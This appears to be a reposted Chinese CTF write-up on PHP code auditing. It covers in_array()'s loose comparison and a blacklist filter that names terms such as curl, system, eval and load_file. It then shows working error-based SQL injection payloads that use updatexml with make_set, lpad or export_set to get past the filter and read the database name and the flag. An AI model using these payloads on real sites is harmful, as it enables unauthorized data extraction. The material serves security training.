代码审计—红日安全day1,in_array()和make_set函数
Posted Thgilil
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计—红日安全day1,in_array()和make_set函数相关的知识,希望对你有一定的参考价值。
红日安全代码审计——day1
地址:https://github.com/hongriSec/php-Audit-Labs/blob/master/Part1/Day1/files/README.md
in_array()函数的缺陷
先来看看in_array()的定义:
in_array — 检查数组中是否存在某个值
in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) : bool
大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较
导致漏洞出现的原因是使用in_array()函数时未设置第三个参数,当第三个参数为FALSE(默认为false)时,函数进行宽松比较,如:7shell.php会被强制转换成7, 而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断
实例分析见顶部地址。
这里开始做day1中的课后CTF练习题,以下是题目代码:
//index.php<?phpinclude 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td>
";
echo "<td><center>$value</center></td></tr>
";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>
//config.php<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\\/\\*|\\*|\\.\\.\\/|\\.\\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?
# 搭建CTF环境使用的sql语句create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );
INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
对index.php进行分析,
...
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
...
这里in_array()函数相对容易过,在没有第三个参数的情况下,只要使id的值开头为一个在whitelist中的数字就可以宽松通过in_array的判断,如id=1+注入语句,在这题中过in_array函数很简单,重点是通过stop_hack的过滤,其中过滤的函数如下:
insert|delete|or|concat|concat_ws|group_concat|join|floor|\\/\\*|\\*|\\.\\.\\/|\\.\\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval"
过滤不是太严格,可以使用updatexm、extractvalue等进行报错注入
报错注入常用语句如:
但此处过滤了concat函数,可能需要一个别的函数来代替concat ,
而代替concat的函数还不少,有 make_set()、lpad()、reverse()、repeat()、export_set()
注意:lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据,所以为了防止数据遗漏,防万一还是都加上特殊符号
更换后的报错语句如下:
select updatexml(1,make_set(3,'#',(select database())),1);
select updatexml(1,lpad('@',30,(select user())),1);
select updatexml(1,export_set(1,'#',(select user())),1);
具体参考:https://www.dazhuanlan.com/2019/11/30/5de149bd419ec/
但是上述make_set()、lpad()、reverse()、repeat()、export_set()函数我并没有全部复现成功,所以本次解题主要使用make_set()函数
id=1 and (select updatexml(1,make_set(3,'~',(select database())),1)) # //成功的语句
注意:这里仍然有一个坑——make_set函数的使用,导致我构造出来的payload运行出错,可以看一下这句话的上下两条代码有什么差别。
id=1 and (select updatexml(1,make_set(1,'~',(select database())),1)) # //构造错误
即make_set函数的第一个参数的取值问题,其实这里应该把第一个参数设置为3,即可爆出信息:
id=1 and (select updatexml(1,make_set(3,'~',(select database())),1)) #
id=1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1)) #
其实到这里就可以结束了,但我想再研究研究make_set函数,于是就有了下面的东西
先来看一下make_set函数的定义:MAKE_SET(bits,str1,str2,…)
返回一个设定值(含子字符串分隔字符串。,。字符)由那些在设置位的相应位的字符串。str1对应于位0,str2至位1,以此类推。NULL值在str1,str2,…不添加到结果
看不懂没关系,我也看不懂,但是举一个例子就能很好的理解:
make_set的参数中,bits的值将被转换成二进制,再前后颠倒,如3的二进制就是0000 0011,前后颠倒过来就是1100 0000,make_set就会取1位置上的结果,如make_set(3,a,b,c,d),取1位置上的结果就是a,b;
make_set(5,‘a’,‘b’,‘c’,‘d’) 中 5的二进制是0000 0101,前后颠倒就是1010 0000,取1位置上的结果就是a,c ,验证一下:
确实是正确的。
继续在上面的题目中,我们是使用make_set代替concat进行报错查询,但不止于此,make_set也可以代替updatexml进行查询,当updatexml和extractvalue被过滤时也可以使用make_set进行查询:
select make_set(3,'$',(select database())); //查询数据库
select make_set(3,'$',(select flag from flag limit 0,1)); //查询单个字段单条数据
待续。。。
参考:
https://www.cnblogs.com/anweilx/p/12487747.html
https://www.dazhuanlan.com/2019/11/30/5de149bd419ec/
以上是关于代码审计—红日安全day1,in_array()和make_set函数的主要内容,如果未能解决你的问题,请参考以下文章